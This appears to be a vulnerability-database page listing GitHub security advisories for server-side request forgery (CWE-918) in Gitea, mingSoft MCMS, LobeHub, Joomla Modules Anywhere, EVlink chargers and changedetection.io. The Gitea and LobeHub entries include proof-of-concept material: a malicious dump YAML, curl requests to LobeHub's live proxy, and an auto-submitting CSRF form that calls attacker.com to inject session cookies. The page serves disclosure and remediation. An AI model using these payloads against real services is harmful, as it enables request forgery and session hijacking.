Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6153 vulnerabilities reference this CWE, most recent first.

GHSA-XMJ7-XJ85-HFC3

Vulnerability from github – Published: 2026-07-21 20:37 – Updated: 2026-07-21 20:37
VLAI
Summary
Gitea: SSRF in restore-repo via unsanitized pull_request.yml Head.CloneURL
Details

Summary

Gitea's restore-repo CLI command restores a repository from a dump directory/archive. When parsing pull_request.yml from that dump, the Head.CloneURL field is used to add a git remote and fetch from it with no validation, because the safety check that's supposed to guard it (CheckAndEnsureSafePR) is called with an empty commonCloneBaseURL, which silently disables it. This lets a malicious dump make the Gitea server execute git fetch against an attacker-chosen URL (SSRF), or disclose a local git repository via file://. This is a different root cause from the recently fixed path-traversal issue in the same command (#38215), which patched DownloadURL/PatchURL but not Head.CloneURL.

Details

services/migrations/restore.go's GetPullRequests() unmarshals pull_request.yml directly into base.PullRequest structs with no validation of Head.CloneURL:

err = yaml.Unmarshal(bs, &pulls)
...
for _, pr := range pulls {
    if pr.PatchURL != "" {
        pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)
    }
    CheckAndEnsureSafePR(pr, "", r)   // <-- empty baseURL
}

CheckAndEnsureSafePR (services/migrations/common.go) is supposed to reject Head.CloneURL/PatchURL values that don't share a common base URL:

func hasBaseURL(toCheck, baseURL string) bool {
    if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' {
        baseURL += "/"
    }
    return strings.HasPrefix(toCheck, baseURL)
}

func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {
    valid := true
    if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {
        pr.PatchURL = ""
        valid = false
    }
    if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {
        pr.Head.CloneURL = ""
        valid = false
    }
    return valid
}

strings.HasPrefix(anything, "") is always true in Go. Because restore.go is the only caller that passes "" as commonCloneBaseURL, this check is a complete no-op on the restore-repo path — Head.CloneURL survives unchanged regardless of its value. Every other downloader (github.go, gitlab.go, gitea_downloader.go, codebase.go, codecommit.go, onedev.go) passes a real base URL, so they are not affected.

services/migrations/gitea_uploader.go then uses the unvalidated value directly:

err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)
// ... later: fetch from that remote

resulting in the server executing git fetch against an attacker-controlled URL sourced from the dump file.

RCE via git's ext:: transport helper was tested and ruled out — a normal git install rejects it by default (fatal: transport 'ext' not allowed), independent of Gitea's own configuration. This report is scoped to SSRF and local git-repository disclosure.

Confirmed present, byte-for-byte identical, in v1.26.4 (latest stable tag), release/v1.27, and main, by direct checkout and diff.

PoC

  1. Create a dump directory following the normal restore-repo layout (repo.yml, etc.), and add a pull_request.yml containing at least one entry with:
   - number: 1
     head:
       cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof"
       ref: "main"
  1. Run gitea restore-repo against that dump directory for any repo owner.
  2. Observe on the target host/listener: an actual git HTTP discovery request arrives, e.g. GET /ssrf-proof/info/refs?service=git-upload-pack, driven entirely by the value from the dump file.

Verified the core mechanism (steps 2–3, i.e. the unvalidated Head.CloneURL surviving CheckAndEnsureSafePR("") and then being used in a real git remote add + git fetch) with a minimal, standalone Go program built from the verbatim, unmodified hasBaseURL / CheckAndEnsureSafePR function bodies (attached: gitea_ssrf_poc.go), run end-to-end against a local HTTP listener. The listener's access log confirms the request actually arrives.

Impact

An attacker who can get an administrator to run gitea restore-repo against a malicious dump (the same threat model already accepted for the just-fixed path-traversal issue in this command, #38215) can make the Gitea server issue a git fetch against an arbitrary attacker-chosen URL. This allows: - SSRF against internal-only services or cloud metadata endpoints reachable from the Gitea host. - Disclosure of local git repositories reachable via file:// paths readable by the Gitea process.

No public disclosure planned. Happy to provide further detail on request.

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:37:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nGitea\u0027s `restore-repo` CLI command restores a repository from a dump\ndirectory/archive. When parsing `pull_request.yml` from that dump, the\n`Head.CloneURL` field is used to add a git remote and fetch from it with\nno validation, because the safety check that\u0027s supposed to guard it\n(`CheckAndEnsureSafePR`) is called with an empty `commonCloneBaseURL`,\nwhich silently disables it. This lets a malicious dump make the Gitea\nserver execute `git fetch` against an attacker-chosen URL (SSRF), or\ndisclose a local git repository via `file://`. This is a different root\ncause from the recently fixed path-traversal issue in the same command\n(#38215), which patched `DownloadURL`/`PatchURL` but not `Head.CloneURL`.\n\n### Details\n`services/migrations/restore.go`\u0027s `GetPullRequests()` unmarshals\n`pull_request.yml` directly into `base.PullRequest` structs with no\nvalidation of `Head.CloneURL`:\n\n```go\nerr = yaml.Unmarshal(bs, \u0026pulls)\n...\nfor _, pr := range pulls {\n    if pr.PatchURL != \"\" {\n        pr.PatchURL = \"file://\" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)\n    }\n    CheckAndEnsureSafePR(pr, \"\", r)   // \u003c-- empty baseURL\n}\n```\n\n`CheckAndEnsureSafePR` (`services/migrations/common.go`) is supposed to\nreject `Head.CloneURL`/`PatchURL` values that don\u0027t share a common base\nURL:\n\n```go\nfunc hasBaseURL(toCheck, baseURL string) bool {\n    if len(baseURL) \u003e 0 \u0026\u0026 baseURL[len(baseURL)-1] != \u0027/\u0027 {\n        baseURL += \"/\"\n    }\n    return strings.HasPrefix(toCheck, baseURL)\n}\n\nfunc CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {\n    valid := true\n    if pr.PatchURL != \"\" \u0026\u0026 !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {\n        pr.PatchURL = \"\"\n        valid = false\n    }\n    if pr.Head.CloneURL != \"\" \u0026\u0026 !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {\n        pr.Head.CloneURL = \"\"\n        valid = false\n    }\n    return valid\n}\n```\n\n`strings.HasPrefix(anything, \"\")` is always `true` in Go. Because\n`restore.go` is the only caller that passes `\"\"` as\n`commonCloneBaseURL`, this check is a complete no-op on the restore-repo\npath \u2014 `Head.CloneURL` survives unchanged regardless of its value. Every\nother downloader (`github.go`, `gitlab.go`, `gitea_downloader.go`,\n`codebase.go`, `codecommit.go`, `onedev.go`) passes a real base URL, so\nthey are not affected.\n\n`services/migrations/gitea_uploader.go` then uses the unvalidated value\ndirectly:\n\n```go\nerr := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)\n// ... later: fetch from that remote\n```\n\nresulting in the server executing `git fetch` against an\nattacker-controlled URL sourced from the dump file.\n\n**RCE via git\u0027s `ext::` transport helper was tested and ruled out** \u2014 a\nnormal `git` install rejects it by default (`fatal: transport \u0027ext\u0027 not\nallowed`), independent of Gitea\u0027s own configuration. This report is\nscoped to SSRF and local git-repository disclosure.\n\nConfirmed present, byte-for-byte identical, in `v1.26.4` (latest stable\ntag), `release/v1.27`, and `main`, by direct checkout and diff.\n\n### PoC\n1. Create a dump directory following the normal `restore-repo` layout\n   (`repo.yml`, etc.), and add a `pull_request.yml` containing at least\n   one entry with:\n```yaml\n   - number: 1\n     head:\n       cloneURL: \"http://\u003cattacker-controlled-or-internal-host\u003e:\u003cport\u003e/ssrf-proof\"\n       ref: \"main\"\n```\n2. Run `gitea restore-repo` against that dump directory for any repo\n   owner.\n3. Observe on the target host/listener: an actual `git` HTTP\n   discovery request arrives, e.g.\n   `GET /ssrf-proof/info/refs?service=git-upload-pack`, driven entirely\n   by the value from the dump file.\n\nVerified the core mechanism (steps 2\u20133, i.e. the unvalidated\n`Head.CloneURL` surviving `CheckAndEnsureSafePR(\"\")` and then being used\nin a real `git remote add` + `git fetch`) with a minimal, standalone Go\nprogram built from the **verbatim, unmodified** `hasBaseURL` /\n`CheckAndEnsureSafePR` function bodies (attached: `gitea_ssrf_poc.go`),\nrun end-to-end against a local HTTP listener. The listener\u0027s access log\nconfirms the request actually arrives. \n\n### Impact\nAn attacker who can get an administrator to run `gitea restore-repo`\nagainst a malicious dump (the same threat model already accepted for the\njust-fixed path-traversal issue in this command, #38215) can make the\nGitea server issue a `git fetch` against an arbitrary attacker-chosen\nURL. This allows:\n- SSRF against internal-only services or cloud metadata endpoints\n  reachable from the Gitea host.\n- Disclosure of local git repositories reachable via `file://` paths\n  readable by the Gitea process.\n\nNo public disclosure planned. Happy to provide further detail on\nrequest.",
  "id": "GHSA-xmj7-xj85-hfc3",
  "modified": "2026-07-21T20:37:29Z",
  "published": "2026-07-21T20:37:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-xmj7-xj85-hfc3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: SSRF in restore-repo via unsanitized pull_request.yml Head.CloneURL"
}

GHSA-XMM3-9X39-98R5

Vulnerability from github – Published: 2026-03-27 15:30 – Updated: 2026-03-28 00:31
VLAI
Details

A weakness has been identified in mingSoft MCMS 迄 5.5.0. This issue affects the function catchImage of the file net/mingsoft/cms/action/BaseAction.java of the component Editor Endpoint. Executing a manipulation of the argument catchimage can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4953"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-27T15:17:02Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in mingSoft MCMS \u8fc4 5.5.0. This issue affects the function catchImage of the file net/mingsoft/cms/action/BaseAction.java of the component Editor Endpoint. Executing a manipulation of the argument catchimage can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.",
  "id": "GHSA-xmm3-9x39-98r5",
  "modified": "2026-03-28T00:31:13Z",
  "published": "2026-03-27T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4953"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wing3e/public_exp/issues/3"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.353831"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.353831"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.777516"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XMMP-7836-3M8W

Vulnerability from github – Published: 2023-09-28 00:30 – Updated: 2024-04-04 07:56
VLAI
Details

An issue in phpkobo AjaxNewsTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the reque parameter.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-41449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-27T23:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in phpkobo AjaxNewsTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the reque parameter.",
  "id": "GHSA-xmmp-7836-3m8w",
  "modified": "2024-04-04T07:56:20Z",
  "published": "2023-09-28T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41449"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/RNPG/c1ae240f2acec138132aa64ce3faa2e0"
    },
    {
      "type": "WEB",
      "url": "http://ajaxnewsticker.com"
    },
    {
      "type": "WEB",
      "url": "http://phpkobo.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XMQQ-FCM3-VH28

Vulnerability from github – Published: 2026-09-28 09:30 – Updated: 2026-09-28 09:30
VLAI
Details

Joomla Extension - regularlabs.com - LFI / SSRF in Modules Anywhere 1.5.0 - 9.0.5 for Joomla - Modules Anywhere Pro lets additional attributes on a module tag replace arbitrary parameters of the selected module. This feature is enabled by default in affected versions. The overrides are applied without checking who authored the content containing the tag. The security effect depends on how the selected module consumes the replaced parameter. Joomla's core Feed module provides a concrete affected path: its rssurl parameter is opened by the server and accepts local file: URLs as well as network URLs.

Severity
8.5 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-100750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-28T07:17:18Z",
    "severity": "HIGH"
  },
  "details": "Joomla Extension - regularlabs.com - LFI / SSRF in Modules Anywhere 1.5.0 - 9.0.5 for Joomla - Modules Anywhere Pro lets additional attributes on a module tag replace arbitrary parameters of the selected module. This feature is enabled by default in affected versions. The overrides are applied without checking who authored the content containing the tag. The security effect depends on how the selected module consumes the replaced parameter. Joomla\u0027s core Feed module provides a concrete affected path: its rssurl parameter is opened by the server and accepts local file: URLs as well as network URLs.",
  "id": "GHSA-xmqq-fcm3-vh28",
  "modified": "2026-09-28T09:30:25Z",
  "published": "2026-09-28T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100750"
    },
    {
      "type": "WEB",
      "url": "https://www.regularlabs.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XMWJ-C75X-6346

Vulnerability from github – Published: 2026-06-16 20:15 – Updated: 2026-07-20 21:01
VLAI
Summary
LobeHub: Unauthenticated SSRF in `/webapi/proxy`
Details

Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com

Summary

The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured — it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.

Vulnerability Details

Type: Server-Side Request Forgery (CWE-918) Affected Endpoint: POST /webapi/proxy Vulnerable File: src/app/(backend)/webapi/proxy/route.ts

The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes — defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.

Steps to Reproduce

Fetch an external URL through the proxy (no auth, no cookies, no tokens):

curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"

image

Response:

{"origin": "3.14.141.44"}

This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.

Inject a cookie on the lobehub.com domain:

curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"

The response headers include:

set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly

image

The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable — these are the cookie names used by Clerk for authentication.

CSRF to cookie injection (no user interaction beyond visiting a page):

An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.

<form id=f action="https://app.lobehub.com/webapi/proxy"
  method=POST enctype="text/plain">
  <input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>

The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.

Impact

The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:

An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.

The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.

The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.

Recommended Fix

Add checkAuth() to the proxy route, matching every other webapi route:

- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {

If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.56"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/lobehub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.57"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T20:15:57Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "CRITICAL"
  },
  "details": "## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com\n\n## Summary\n\nThe `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured \u2014 it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub\u0027s infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers.\n\n## Vulnerability Details\n\n**Type:** Server-Side Request Forgery (CWE-918)\n**Affected Endpoint:** POST /webapi/proxy\n**Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts`\n\nThe route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes \u2014 `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication.\n\n## Steps to Reproduce\n\n**Fetch an external URL through the proxy (no auth, no cookies, no tokens):**\n\n```\ncurl -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n  -d \"https://httpbin.org/ip\" \\\n  \"https://app.lobehub.com/webapi/proxy\"\n```\n\u003cimg width=\"1069\" height=\"297\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18\" /\u003e\n\nResponse:\n\n```json\n{\"origin\": \"3.14.141.44\"}\n```\n\nThis is the IP of LobeHub\u0027s Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.\n\n**Inject a cookie on the lobehub.com domain:**\n\n```\ncurl -D- -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n  -d \"https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly\" \\\n  \"https://app.lobehub.com/webapi/proxy\"\n```\n\nThe response headers include:\n\n```\nset-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly\n```\n\u003cimg width=\"1215\" height=\"340\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903\" /\u003e\n\nThe proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable \u2014 these are the cookie names used by Clerk for authentication.\n\n**CSRF to cookie injection (no user interaction beyond visiting a page):**\n\nAn attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker\u0027s server. The attacker\u0027s server responds with a `Set-Cookie` header, and the proxy reflects it. The victim\u0027s browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`.\n\n```html\n\u003cform id=f action=\"https://app.lobehub.com/webapi/proxy\"\n  method=POST enctype=\"text/plain\"\u003e\n  \u003cinput name=\"https://attacker.com/inject?x\" value=\"\"\u003e\n\u003c/form\u003e\n\u003cscript\u003ef.submit()\u003c/script\u003e\n```\n\nThe attacker\u0027s server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim\u0027s browser stores the cookie.\n\n## Impact\n\nThe proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:\n\nAn attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy\u0027s reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector \u2014 the attacker sets a known session value before the victim logs in, then uses that same value to access the victim\u0027s session.\n\nThe proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server\u0027s egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel\u0027s management plane.\n\nThe endpoint has no rate limiting. An attacker can use LobeHub\u0027s infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.\n\n## Recommended Fix\n\nAdd `checkAuth()` to the proxy route, matching every other webapi route:\n\n```diff\n- export const POST = async (req: Request) =\u003e {\n+ export const POST = checkAuth(async (req, { userId }) =\u003e {\n```\n\nIf the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.",
  "id": "GHSA-xmwj-c75x-6346",
  "modified": "2026-07-20T21:01:54Z",
  "published": "2026-06-16T20:15:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54157"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobehub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LobeHub: Unauthenticated SSRF in `/webapi/proxy`"
}

GHSA-XP5X-9H6P-Q3RF

Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2022-02-04 00:00
VLAI
Details

A CWE-918 Server-Side Request Forgery (SSRF) vulnerability exists that could cause the station web server to forward requests to unintended network targets when crafted malicious parameters are submitted to the charging station web server. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-28T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-918 Server-Side Request Forgery (SSRF) vulnerability exists that could cause the station web server to forward requests to unintended network targets when crafted malicious parameters are submitted to the charging station web server. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)",
  "id": "GHSA-xp5x-9h6p-q3rf",
  "modified": "2022-02-04T00:00:44Z",
  "published": "2022-01-29T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22821"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-348-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XP5X-XJJR-FW2G

Vulnerability from github – Published: 2026-09-22 18:33 – Updated: 2026-09-22 18:33
VLAI
Details

A vulnerability was found in dgtlmoon changedetection.io up to 50389b07. This vulnerability affects the function add_watch_ui_snapshot of the file changedetectionio/blueprint/add_watch_ui/init.py of the component Preview Endpoint. Performing a manipulation of the argument url results in server-side request forgery. The attack can be initiated remotely. The exploit has been made public and could be used. Upgrading to version 0.60.1 is able to resolve this issue. The patch is named 71d332d5a0d3da2a0fe89a392413bf4b7d27c84e. The affected component should be upgraded. Was fixed upstream.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-95656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T18:17:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in dgtlmoon changedetection.io up to 50389b07. This vulnerability affects the function add_watch_ui_snapshot of the file changedetectionio/blueprint/add_watch_ui/__init__.py of the component Preview Endpoint. Performing a manipulation of the argument url results in server-side request forgery. The attack can be initiated remotely. The exploit has been made public and could be used. Upgrading to version 0.60.1 is able to resolve this issue. The patch is named 71d332d5a0d3da2a0fe89a392413bf4b7d27c84e. The affected component should be upgraded. Was fixed upstream.",
  "id": "GHSA-xp5x-xjjr-fw2g",
  "modified": "2026-09-22T18:33:35Z",
  "published": "2026-09-22T18:33:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95656"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/71d332d5a0d3da2a0fe89a392413bf4b7d27c84e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
